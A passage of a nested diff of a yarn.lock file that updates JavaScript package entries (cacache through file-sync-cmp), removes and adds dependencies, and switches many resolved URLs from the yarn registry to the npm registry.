+-    minipass-collect "^1.0.2"
+-    minipass-flush "^1.0.5"
+-    minipass-pipeline "^1.2.2"
+-    mkdirp "^1.0.3"
+-    p-map "^4.0.0"
+-    promise-inflight "^1.0.1"
+-    rimraf "^3.0.2"
+-    ssri "^8.0.1"
+-    tar "^6.0.2"
+-    unique-filename "^1.1.1"
+-
+-cacache@^16.1.0:
+-  version "16.1.3"
+-  resolved "https://registry.yarnpkg.com/cacache/-/cacache-16.1.3.tgz#a02b9f34ecfaf9a78c9f4bc16fceb94d5d67a38e"
+-  integrity sha512-/+Emcj9DAXxX4cwlLmRI9c166RuL3w30zp4R7Joiv2cQTtTtA+jeuCAjH3ZlGnYS3tKENSrKhAzVVP9GVyzeYQ==
+-  dependencies:
+-    "@npmcli/fs" "^2.1.0"
+-    "@npmcli/move-file" "^2.0.0"
+-    chownr "^2.0.0"
+-    fs-minipass "^2.1.0"
+-    glob "^8.0.1"
+-    infer-owner "^1.0.4"
+-    lru-cache "^7.7.1"
+-    minipass "^3.1.6"
+-    minipass-collect "^1.0.2"
+-    minipass-flush "^1.0.5"
+-    minipass-pipeline "^1.2.4"
+-    mkdirp "^1.0.4"
+-    p-map "^4.0.0"
+-    promise-inflight "^1.0.1"
+-    rimraf "^3.0.2"
+-    ssri "^9.0.0"
+-    tar "^6.1.11"
+-    unique-filename "^2.0.0"
+-
+-call-bind@^1.0.7:
+-  version "1.0.7"
+-  resolved "https://registry.yarnpkg.com/call-bind/-/call-bind-1.0.7.tgz#06016599c40c56498c18769d2730be242b6fa3b9"
+-  integrity sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w==
++call-bind-apply-helpers@^1.0.1, call-bind-apply-helpers@^1.0.2:
++  version "1.0.2"
++  resolved "https://registry.yarnpkg.com/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz#4b5428c222be985d79c3d82657479dbe0b59b2d6"
++  integrity sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==
+   dependencies:
+-    es-define-property "^1.0.0"
+     es-errors "^1.3.0"
+     function-bind "^1.1.2"
+-    get-intrinsic "^1.2.4"
+-    set-function-length "^1.2.1"
+ 
+-camelcase-keys@^6.2.2:
+-  version "6.2.2"
+-  resolved "https://registry.yarnpkg.com/camelcase-keys/-/camelcase-keys-6.2.2.tgz#5e755d6ba51aa223ec7d3d52f25778210f9dc3c0"
+-  integrity sha512-YrwaA0vEKazPBkn0ipTiMpSajYDSe+KjQfrjhcBMxJt/znbvlHd8Pw/Vamaz5EB4Wfhs3SUR3Z9mwRu/P3s3Yg==
++call-bound@^1.0.2:
++  version "1.0.4"
++  resolved "https://registry.yarnpkg.com/call-bound/-/call-bound-1.0.4.tgz#238de935d2a2a692928c538c7ccfa91067fd062a"
++  integrity sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==
+   dependencies:
+-    camelcase "^5.3.1"
+-    map-obj "^4.0.0"
+-    quick-lru "^4.0.1"
+-
+-camelcase@^5.3.1:
+-  version "5.3.1"
+-  resolved "https://registry.yarnpkg.com/camelcase/-/camelcase-5.3.1.tgz#e3c9b31569e106811df242f715725a1f4c494320"
+-  integrity sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==
++    call-bind-apply-helpers "^1.0.2"
++    get-intrinsic "^1.3.0"
+ 
+-caniuse-lite@^1.0.30001109, caniuse-lite@^1.0.30001669:
+-  version "1.0.30001684"
+-  resolved "https://registry.yarnpkg.com/caniuse-lite/-/caniuse-lite-1.0.30001684.tgz#0eca437bab7d5f03452ff0ef9de8299be6b08e16"
+-  integrity sha512-G1LRwLIQjBQoyq0ZJGqGIJUXzJ8irpbjHLpVRXDvBEScFJ9b17sgK6vlx0GAJFE21okD7zXl08rRRUfq6HdoEQ==
++caniuse-lite@^1.0.30001109, caniuse-lite@^1.0.30001726:
++  version "1.0.30001727"
++  resolved "https://registry.yarnpkg.com/caniuse-lite/-/caniuse-lite-1.0.30001727.tgz#22e9706422ad37aa50556af8c10e40e2d93a8b85"
++  integrity sha512-pB68nIHmbN6L/4C6MH1DokyR3bYqFwjaSs/sWDHGj4CTcFtQUQMuJftVwWkXq7mNWOybD3KhUv3oWHoGxgP14Q==
+ 
+ chalk@^1.1.1:
+   version "1.1.3"
+-  resolved "https://registry.yarnpkg.com/chalk/-/chalk-1.1.3.tgz#a8115c55e4a702fe4d150abd3872822a7e09fc98"
++  resolved "https://registry.npmjs.org/chalk/-/chalk-1.1.3.tgz"
+   integrity sha512-U3lRVLMSlsCfjqYPbLyVv11M9CPW4I728d6TCKMAOJueEeB9/8o+eSsMnxPJD+Q+K909sdESg7C+tIkoH6on1A==
+   dependencies:
+     ansi-styles "^2.2.1"
+@@ -369,7 +273,7 @@ chalk@^1.1.1:
+ 
+ chalk@^2.1.0, chalk@^2.4.1:
+   version "2.4.2"
+-  resolved "https://registry.yarnpkg.com/chalk/-/chalk-2.4.2.tgz#cd42541677a54333cf541a49108c1432b44c9424"
++  resolved "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz"
+   integrity sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==
+   dependencies:
+     ansi-styles "^3.2.1"
+@@ -378,281 +282,201 @@ chalk@^2.1.0, chalk@^2.4.1:
+ 
+ chalk@^4.1.0, chalk@^4.1.2, chalk@~4.1.0:
+   version "4.1.2"
+-  resolved "https://registry.yarnpkg.com/chalk/-/chalk-4.1.2.tgz#aac4e2b7734a740867aeb16bf02aad556a1e7a01"
++  resolved "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz"
+   integrity sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==
+   dependencies:
+     ansi-styles "^4.1.0"
+     supports-color "^7.1.0"
+ 
+-chownr@^2.0.0:
+-  version "2.0.0"
+-  resolved "https://registry.yarnpkg.com/chownr/-/chownr-2.0.0.tgz#15bfbe53d2eab4cf70f18a8cd68ebe5b3cb1dece"
+-  integrity sha512-bIomtDF5KGpdogkLd9VspvFzk9KfpyyGlS8YFVZl7TGPBHL5snIOnxeshwVgPteQ9b4Eydl+pVbIyE1DcvCWgQ==
+-
+-clean-stack@^2.0.0:
+-  version "2.2.0"
+-  resolved "https://registry.yarnpkg.com/clean-stack/-/clean-stack-2.2.0.tgz#ee8472dbb129e727b31e8a10a427dee9dfe4008b"
+-  integrity sha512-4diC9HaTE+KRAMWhDhrGOECgWZxoevMc5TlkObMqNSsVU62PYzXZ/SMTjzyGAFF1YusgxGcSWTEXBhp0CPwQ1A==
++chokidar@^4.0.0:
++  version "4.0.3"
++  resolved "https://registry.npmjs.org/chokidar/-/chokidar-4.0.3.tgz"
++  integrity sha512-Qgzu8kfBvo+cA4962jnP1KkS6Dop5NS6g7R5LFYJr4b8Ub94PPQXUksCw9PvXoeXPRRddRNC5C1JQUR2SMGtnA==
++  dependencies:
++    readdirp "^4.0.1"
+ 
+ clipboard@2.0.11:
+   version "2.0.11"
+-  resolved "https://registry.yarnpkg.com/clipboard/-/clipboard-2.0.11.tgz#62180360b97dd668b6b3a84ec226975762a70be5"
++  resolved "https://registry.npmjs.org/clipboard/-/clipboard-2.0.11.tgz"
+   integrity sha512-C+0bbOqkezLIsmWSvlsXS0Q0bmkugu7jcfMIACB+RDEntIzQIkdr148we28AfSloQLRdZlYL/QYyrq05j/3Faw==
+   dependencies:
+     good-listener "^1.2.2"
+     select "^1.1.2"
+     tiny-emitter "^2.0.0"
+ 
+-cliui@^8.0.1:
+-  version "8.0.1"
+-  resolved "https://registry.yarnpkg.com/cliui/-/cliui-8.0.1.tgz#0c04b075db02cbfe60dc8e6cf2f5486b1a3608aa"
+-  integrity sha512-BSeNnyus75C4//NQ9gQt1/csTXyo/8Sb+afLAkzAptFuMsod9HFokGNudZpi/oQV73hnVK+sR+5PVRMd+Dr7YQ==
+-  dependencies:
+-    string-width "^4.2.0"
+-    strip-ansi "^6.0.1"
+-    wrap-ansi "^7.0.0"
+-
+ color-convert@^1.9.0:
+   version "1.9.3"
+-  resolved "https://registry.yarnpkg.com/color-convert/-/color-convert-1.9.3.tgz#bb71850690e1f136567de629d2d5471deda4c1e8"
++  resolved "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz"
+   integrity sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==
+   dependencies:
+     color-name "1.1.3"
+ 
+ color-convert@^2.0.1:
+   version "2.0.1"
+-  resolved "https://registry.yarnpkg.com/color-convert/-/color-convert-2.0.1.tgz#72d3a68d598c9bdb3af2ad1e84f21d896abd4de3"
++  resolved "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz"
+   integrity sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==
+   dependencies:
+     color-name "~1.1.4"
+ 
+ color-name@1.1.3:
+   version "1.1.3"
+-  resolved "https://registry.yarnpkg.com/color-name/-/color-name-1.1.3.tgz#a7d0558bd89c42f795dd42328f740831ca53bc25"
++  resolved "https://registry.npmjs.org/color-name/-/color-name-1.1.3.tgz"
+   integrity sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==
+ 
+ color-name@~1.1.4:
+   version "1.1.4"
+-  resolved "https://registry.yarnpkg.com/color-name/-/color-name-1.1.4.tgz#c2a09a87acbde69543de6f63fa3995c826c536a2"
++  resolved "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz"
+   integrity sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==
+ 
+-color-support@^1.1.3:
+-  version "1.1.3"
+-  resolved "https://registry.yarnpkg.com/color-support/-/color-support-1.1.3.tgz#93834379a1cc9a0c61f82f52f0d04322251bd5a2"
+-  integrity sha512-qiBjkpbMLO/HL68y+lh4q0/O1MZFj2RX6X/KmMa3+gJD3z+WwI1ZzDHysvqHGS3mP6mznPckpXmw1nI9cJjyRg==
+-
+ colors@~1.1.2:
+   version "1.1.2"
+-  resolved "https://registry.yarnpkg.com/colors/-/colors-1.1.2.tgz#168a4701756b6a7f51a12ce0c97bfa28c084ed63"
++  resolved "https://registry.npmjs.org/colors/-/colors-1.1.2.tgz"
+   integrity sha512-ENwblkFQpqqia6b++zLD/KUWafYlVY/UNnAp7oz7LY7E924wmpye416wBOmvv/HMWzl8gL1kJlfvId/1Dg176w==
+ 
+ concat-map@0.0.1:
+   version "0.0.1"
+-  resolved "https://registry.yarnpkg.com/concat-map/-/concat-map-0.0.1.tgz#d8a96bd77fd68df7793a73036a3ba0d5405d477b"
++  resolved "https://registry.npmjs.org/concat-map/-/concat-map-0.0.1.tgz"
+   integrity sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==
+ 
+-console-control-strings@^1.1.0:
+-  version "1.1.0"
+-  resolved "https://registry.yarnpkg.com/console-control-strings/-/console-control-strings-1.1.0.tgz#3d7cf4464db6446ea644bf4b39507f9851008e8e"
+-  integrity sha512-ty/fTekppD2fIwRvnZAVdeOiGd1c7YXEixbgJTNzqcxJWKQnjJ/V1bNEEE6hygpM3WjwHFUVK6HTjWSzV4a8sQ==
+-
+ continuable-cache@^0.3.1:
+   version "0.3.1"
+-  resolved "https://registry.yarnpkg.com/continuable-cache/-/continuable-cache-0.3.1.tgz#bd727a7faed77e71ff3985ac93351a912733ad0f"
++  resolved "https://registry.npmjs.org/continuable-cache/-/continuable-cache-0.3.1.tgz"
+   integrity sha512-TF30kpKhTH8AGCG3dut0rdd/19B7Z+qCnrMoBLpyQu/2drZdNrrpcjPEoJeSVsQM+8KmWG5O56oPDjSSUsuTyA==
+ 
+-core-util-is@~1.0.0:
+-  version "1.0.3"
+-  resolved "https://registry.yarnpkg.com/core-util-is/-/core-util-is-1.0.3.tgz#a6042d3634c2b27e9328f837b965fac83808db85"
+-  integrity sha512-ZQBvi1DcpJ4GDqanjucZ2Hj3wEO5pZDS89BWbkcrvdxksJorwUDDZamX9ldFkp9aw2lmBDLgkObEA4DWNJ9FYQ==
+-
+-cross-spawn@^7.0.3:
+-  version "7.0.6"
+-  resolved "https://registry.yarnpkg.com/cross-spawn/-/cross-spawn-7.0.6.tgz#8a58fe78f00dcd70c370451759dfbfaf03e8ee9f"
+-  integrity sha512-uV2QOWP2nWzsy2aMp8aRibhi9dlzF5Hgh5SHaB9OiTGEyDTiJJyx0uy51QXdyWbtAHNua4XJzUKca3OzKUd3vA==
+-  dependencies:
+-    path-key "^3.1.0"
+-    shebang-command "^2.0.0"
+-    which "^2.0.1"
+-
+ dateformat@~4.6.2:
+   version "4.6.3"
+-  resolved "https://registry.yarnpkg.com/dateformat/-/dateformat-4.6.3.tgz#556fa6497e5217fedb78821424f8a1c22fa3f4b5"
++  resolved "https://registry.npmjs.org/dateformat/-/dateformat-4.6.3.tgz"
+   integrity sha512-2P0p0pFGzHS5EMnhdxQi7aJN+iMheud0UhG4dlE1DLAlvL8JHjJJTX/CSm4JXwV0Ka5nGk3zC5mcb5bUQUxxMA==
+ 
+-debug@4, debug@^4.3.3:
+-  version "4.3.7"
+-  resolved "https://registry.yarnpkg.com/debug/-/debug-4.3.7.tgz#87945b4151a011d76d95a198d7111c865c360a52"
+-  integrity sha512-Er2nc/H7RrMXZBFCEim6TCmMk02Z8vLC2Rbi1KEBggpo0fS6l0S1nnapwmIi3yW/+GOJap1Krg4w0Hg80oCqgQ==
+-  dependencies:
+-    ms "^2.1.3"
+-
+ debug@^3.1.0:
+   version "3.2.7"
+-  resolved "https://registry.yarnpkg.com/debug/-/debug-3.2.7.tgz#72580b7e9145fb39b6676f9c5e5fb100b934179a"
++  resolved "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz"
+   integrity sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==
+   dependencies:
+     ms "^2.1.1"
+ 
+-decamelize-keys@^1.1.0:
+-  version "1.1.1"
+-  resolved "https://registry.yarnpkg.com/decamelize-keys/-/decamelize-keys-1.1.1.tgz#04a2d523b2f18d80d0158a43b895d56dff8d19d8"
+-  integrity sha512-WiPxgEirIV0/eIOMcnFBA3/IJZAZqKnwAwWyvvdi4lsr1WCN22nhdf/3db3DoZcUjTV2SqfzIwNyp6y2xs3nmg==
+-  dependencies:
+-    decamelize "^1.1.0"
+-    map-obj "^1.0.0"
+-
+-decamelize@^1.1.0, decamelize@^1.2.0:
+-  version "1.2.0"
+-  resolved "https://registry.yarnpkg.com/decamelize/-/decamelize-1.2.0.tgz#f6534d15148269b20352e7bee26f501f9a191290"
+-  integrity sha512-z2S+W9X73hAUUki+N+9Za2lBlun89zigOyGrsax+KUQ6wKW4ZoWpEYBkGhQjwAjjDCkWxhY0VKEhk8wzY7F5cA==
+-
+-define-data-property@^1.1.4:
+-  version "1.1.4"
+-  resolved "https://registry.yarnpkg.com/define-data-property/-/define-data-property-1.1.4.tgz#894dc141bb7d3060ae4366f6a0107e68fbe48c5e"
+-  integrity sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==
+-  dependencies:
+-    es-define-property "^1.0.0"
+-    es-errors "^1.3.0"
+-    gopd "^1.0.1"
+-
+ delegate@^3.1.2:
+   version "3.2.0"
+-  resolved "https://registry.yarnpkg.com/delegate/-/delegate-3.2.0.tgz#b66b71c3158522e8ab5744f720d8ca0c2af59166"
++  resolved "https://registry.npmjs.org/delegate/-/delegate-3.2.0.tgz"
+   integrity sha512-IofjkYBZaZivn0V8nnsMJGBr4jVLxHDheKSW88PyxS5QC4Vo9ZbZVvhzlSxY87fVq3STR6r+4cGepyHkcWOQSw==
+ 
+-delegates@^1.0.0:
+-  version "1.0.0"
+-  resolved "https://registry.yarnpkg.com/delegates/-/delegates-1.0.0.tgz#84c6e159b81904fdca59a0ef44cd870d31250f9a"
+-  integrity sha512-bd2L678uiWATM6m5Z1VzNCErI3jiGzt6HGY8OVICs40JQq/HALfbyNJmp0UDakEY4pMMaN0Ly5om/B1VI/+xfQ==
+-
+ detect-file@^1.0.0:
+   version "1.0.0"
+-  resolved "https://registry.yarnpkg.com/detect-file/-/detect-file-1.0.0.tgz#f0d66d03672a825cb1b73bdb3fe62310c8e552b7"
++  resolved "https://registry.npmjs.org/detect-file/-/detect-file-1.0.0.tgz"
+   integrity sha512-DtCOLG98P007x7wiiOmfI0fi3eIKyWiLTGJ2MDnVi/E04lWGbf+JzrRHMm0rgIIZJGtHpKpbVgLWHrv8xXpc3Q==
+ 
++detect-libc@^1.0.3:
++  version "1.0.3"
++  resolved "https://registry.npmjs.org/detect-libc/-/detect-libc-1.0.3.tgz"
++  integrity sha512-pGjwhsmsp4kL2RTz08wcOlGN83otlqHeD/Z5T8GXZB+/YcpQ/dgo+lbU8ZsGxV0HIvqqxo9l7mqYwyYMD9bKDg==
++
+ diff@^3.0.0:
+   version "3.5.0"
+-  resolved "https://registry.yarnpkg.com/diff/-/diff-3.5.0.tgz#800c0dd1e0a8bfbc95835c202ad220fe317e5a12"
++  resolved "https://registry.npmjs.org/diff/-/diff-3.5.0.tgz"
+   integrity sha512-A46qtFgd+g7pDZinpnwiRJtxbC1hpgf0uzP3iG89scHk0AUC7A1TGxf5OiiOUv/JMZR8GOt8hL900hV0bOy5xA==
+ 
+ dropzone@5.9.3:
+   version "5.9.3"
+-  resolved "https://registry.yarnpkg.com/dropzone/-/dropzone-5.9.3.tgz#b3070ae090fa48cbc04c17535635537ca72d70d6"
++  resolved "https://registry.npmjs.org/dropzone/-/dropzone-5.9.3.tgz"
+   integrity sha512-Azk8kD/2/nJIuVPK+zQ9sjKMRIpRvNyqn9XwbBHNq+iNuSccbJS6hwm1Woy0pMST0erSo0u4j+KJaodndDk4vA==
+ 
++dunder-proto@^1.0.1:
++  version "1.0.1"
++  resolved "https://registry.yarnpkg.com/dunder-proto/-/dunder-proto-1.0.1.tgz#d7ae667e1dc83482f8b70fd0f6eefc50da30f58a"
++  integrity sha512-KIN/nDJBQRcXw0MLVhZE9iQHmG68qAVIBg9CqmUYjmQIhgij9U5MFvrqkUL5FbtyyzZuOeOt0zdeRe4UY7ct+A==
++  dependencies:
++    call-bind-apply-helpers "^1.0.1"
++    es-errors "^1.3.0"
++    gopd "^1.2.0"
++
+ duplexer@^0.1.1:
+   version "0.1.2"
+-  resolved "https://registry.yarnpkg.com/duplexer/-/duplexer-0.1.2.tgz#3abe43aef3835f8ae077d136ddce0f276b0400e6"
++  resolved "https://registry.npmjs.org/duplexer/-/duplexer-0.1.2.tgz"
+   integrity sha512-jtD6YG370ZCIi/9GTaJKQxWTZD045+4R4hTk/x1UyoqadyJ9x9CgSi1RlVDQF8U2sxLLSnFkCaMihqljHIWgMg==
+ 
+-electron-to-chromium@^1.5.41:
+-  version "1.5.67"
+-  resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.5.67.tgz#66ebd2be4a77469ac2760ef5e9e460ba9a43a845"
+-  integrity sha512-nz88NNBsD7kQSAGGJyp8hS6xSPtWwqNogA0mjtc2nUYeEf3nURK9qpV18TuBdDmEDgVWotS8Wkzf+V52dSQ/LQ==
+-
+-emoji-regex@^8.0.0:
+-  version "8.0.0"
+-  resolved "https://registry.yarnpkg.com/emoji-regex/-/emoji-regex-8.0.0.tgz#e818fd69ce5ccfcb404594f842963bf53164cc37"
+-  integrity sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==
+-
+-encoding@^0.1.12, encoding@^0.1.13:
+-  version "0.1.13"
+-  resolved "https://registry.yarnpkg.com/encoding/-/encoding-0.1.13.tgz#56574afdd791f54a8e9b2785c0582a2d26210fa9"
+-  integrity sha512-ETBauow1T35Y/WZMkio9jiM0Z5xjHHmJ4XmjZOq1l/dXz3lr2sRn87nJy20RupqSh1F2m3HHPSp8ShIPQJrJ3A==
+-  dependencies:
+-    iconv-lite "^0.6.2"
+-
+-env-paths@^2.2.0:
+-  version "2.2.1"
+-  resolved "https://registry.yarnpkg.com/env-paths/-/env-paths-2.2.1.tgz#420399d416ce1fbe9bc0a07c62fa68d67fd0f8f2"
+-  integrity sha512-+h1lkLKhZMTYjog1VEpJNG7NZJWcuc2DDk/qsqSTRRCOXiLjeQ1d1/udrUGhqMxUgAlwKNZ0cf2uqan5GLuS2A==
+-
+-err-code@^2.0.2:
+-  version "2.0.3"
+-  resolved "https://registry.yarnpkg.com/err-code/-/err-code-2.0.3.tgz#23c2f3b756ffdfc608d30e27c9a941024807e7f9"
+-  integrity sha512-2bmlRpNKBxT/CRmPOlyISQpNj+qSeYvcym/uT0Jx2bMOlKLtSy1ZmLuVxSEKKyor/N5yhvp/ZiG1oE3DEYMSFA==
+-
+-error-ex@^1.3.1:
+-  version "1.3.2"
+-  resolved "https://registry.yarnpkg.com/error-ex/-/error-ex-1.3.2.tgz#b4ac40648107fdcdcfae242f428bea8a14d4f1bf"
+-  integrity sha512-7dFHNmqeFSEt2ZBsCriorKnn3Z2pj+fd9kmI6QoWw4//DL+icEBfc0U7qJCisqrTsKTjw4fNFy2pW9OqStD84g==
+-  dependencies:
+-    is-arrayish "^0.2.1"
++electron-to-chromium@^1.5.173:
++  version "1.5.182"
++  resolved "https://registry.yarnpkg.com/electron-to-chromium/-/electron-to-chromium-1.5.182.tgz#4ab73104f893938acb3ab9c28d7bec170c116b3e"
++  integrity sha512-Lv65Btwv9W4J9pyODI6EWpdnhfvrve/us5h1WspW8B2Fb0366REPtY3hX7ounk1CkV/TBjWCEvCBBbYbmV0qCA==
+ 
+ error@^7.0.0:
+   version "7.2.1"
+-  resolved "https://registry.yarnpkg.com/error/-/error-7.2.1.tgz#eab21a4689b5f684fc83da84a0e390de82d94894"
++  resolved "https://registry.npmjs.org/error/-/error-7.2.1.tgz"
+   integrity sha512-fo9HBvWnx3NGUKMvMwB/CBCMMrfEJgbDTVDEkPygA3Bdd3lM1OyCd+rbQ8BwnpF6GdVeOLDNmyL4N5Bg80ZvdA==
+   dependencies:
+     string-template "~0.2.1"
+ 
+-es-define-property@^1.0.0:
+-  version "1.0.0"
+-  resolved "https://registry.yarnpkg.com/es-define-property/-/es-define-property-1.0.0.tgz#c7faefbdff8b2696cf5f46921edfb77cc4ba3845"
+-  integrity sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ==
+-  dependencies:
+-    get-intrinsic "^1.2.4"
++es-define-property@^1.0.1:
++  version "1.0.1"
++  resolved "https://registry.yarnpkg.com/es-define-property/-/es-define-property-1.0.1.tgz#983eb2f9a6724e9303f61addf011c72e09e0b0fa"
++  integrity sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==
+ 
+ es-errors@^1.3.0:
+   version "1.3.0"
+   resolved "https://registry.yarnpkg.com/es-errors/-/es-errors-1.3.0.tgz#05f75a25dab98e4fb1dcd5e1472c0546d5057c8f"
+   integrity sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==
+ 
+-escalade@^3.1.1, escalade@^3.2.0:
++es-object-atoms@^1.0.0, es-object-atoms@^1.1.1:
++  version "1.1.1"
++  resolved "https://registry.yarnpkg.com/es-object-atoms/-/es-object-atoms-1.1.1.tgz#1c4f2c4837327597ce69d2ca190a7fdd172338c1"
++  integrity sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==
++  dependencies:
++    es-errors "^1.3.0"
++
++escalade@^3.2.0:
+   version "3.2.0"
+   resolved "https://registry.yarnpkg.com/escalade/-/escalade-3.2.0.tgz#011a3f69856ba189dffa7dc8fcce99d2a87903e5"
+   integrity sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==
+ 
+ escape-string-regexp@^1.0.2, escape-string-regexp@^1.0.5:
+   version "1.0.5"
+-  resolved "https://registry.yarnpkg.com/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz#1b61c0562190a8dff6ae3bb2cf0200ca130b86d4"
++  resolved "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-1.0.5.tgz"
+   integrity sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==
+ 
+ esprima@^4.0.0:
+   version "4.0.1"
+-  resolved "https://registry.yarnpkg.com/esprima/-/esprima-4.0.1.tgz#13b04cdb3e6c5d19df91ab6987a8695619b0aa71"
++  resolved "https://registry.npmjs.org/esprima/-/esprima-4.0.1.tgz"
+   integrity sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==
+ 
+ eventemitter2@~0.4.13:
+   version "0.4.14"
+-  resolved "https://registry.yarnpkg.com/eventemitter2/-/eventemitter2-0.4.14.tgz#8f61b75cde012b2e9eb284d4545583b5643b61ab"
++  resolved "https://registry.npmjs.org/eventemitter2/-/eventemitter2-0.4.14.tgz"
+   integrity sha512-K7J4xq5xAD5jHsGM5ReWXRTFa3JRGofHiMcVgQ8PRwgWxzjHpMWCIzsmyf60+mh8KLsqYPcjUMa0AC4hd6lPyQ==
+ 
+ exit@~0.1.2:
+   version "0.1.2"
+-  resolved "https://registry.yarnpkg.com/exit/-/exit-0.1.2.tgz#0632638f8d877cc82107d30a0fff1a17cba1cd0c"
++  resolved "https://registry.npmjs.org/exit/-/exit-0.1.2.tgz"
+   integrity sha512-Zk/eNKV2zbjpKzrsQ+n1G6poVbErQxJ0LBOJXaKZ1EViLzH+hrLu9cdXI4zw9dBQJslwBEpbQ2P1oS7nDxs6jQ==
+ 
+ expand-tilde@^2.0.0, expand-tilde@^2.0.2:
+   version "2.0.2"
+-  resolved "https://registry.yarnpkg.com/expand-tilde/-/expand-tilde-2.0.2.tgz#97e801aa052df02454de46b02bf621642cdc8502"
++  resolved "https://registry.npmjs.org/expand-tilde/-/expand-tilde-2.0.2.tgz"
+   integrity sha512-A5EmesHW6rfnZ9ysHQjPdJRni0SRar0tjtG5MNtm9n5TUvsYU8oozprtRD4AqHxcZWWlVuAmQo2nWKfN9oyjTw==
+   dependencies:
+     homedir-polyfill "^1.0.1"
+ 
+ extend@^3.0.2:
+   version "3.0.2"
+-  resolved "https://registry.yarnpkg.com/extend/-/extend-3.0.2.tgz#f8b1136b4071fbd8eb140aff858b1019ec2915fa"
++  resolved "https://registry.npmjs.org/extend/-/extend-3.0.2.tgz"
+   integrity sha512-fjquC59cD7CyW6urNXK0FBufkZcoiGG80wTuPujX590cB5Ttln20E2UB4S/WARVqhXffZl2LNgS+gQdPIIim/g==
+ 
+ faye-websocket@~0.10.0:
+   version "0.10.0"
+-  resolved "https://registry.yarnpkg.com/faye-websocket/-/faye-websocket-0.10.0.tgz#4e492f8d04dfb6f89003507f6edbf2d501e7c6f4"
++  resolved "https://registry.npmjs.org/faye-websocket/-/faye-websocket-0.10.0.tgz"
+   integrity sha512-Xhj93RXbMSq8urNCUq4p9l0P6hnySJ/7YNRhYNug0bLOuii7pKO7xQFb5mx9xZXWCar88pLPb805PvUkwrLZpQ==
+   dependencies:
+     websocket-driver ">=0.5.1"
+ 
+ figures@^3.2.0:
+   version "3.2.0"
+-  resolved "https://registry.yarnpkg.com/figures/-/figures-3.2.0.tgz#625c18bd293c604dc4a8ddb2febf0c88341746af"
++  resolved "https://registry.npmjs.org/figures/-/figures-3.2.0.tgz"
+   integrity sha512-yaduQFRKLXYOGgEn6AZau90j3ggSOyiqXU0F9JZfeXYhNa+Jk4X+s45A2zg5jns87GAFa34BBm2kXw4XpNcbdg==
+   dependencies:
+     escape-string-regexp "^1.0.5"
+ 
+ file-sync-cmp@^0.1.0:
+   version "0.1.1"
+-  resolved "https://registry.yarnpkg.com/file-sync-cmp/-/file-sync-cmp-0.1.1.tgz#a5e7a8ffbfa493b43b923bbd4ca89a53b63b612b"
++  resolved "https://registry.npmjs.org/file-sync-cmp/-/file-sync-cmp-0.1.1.tgz"
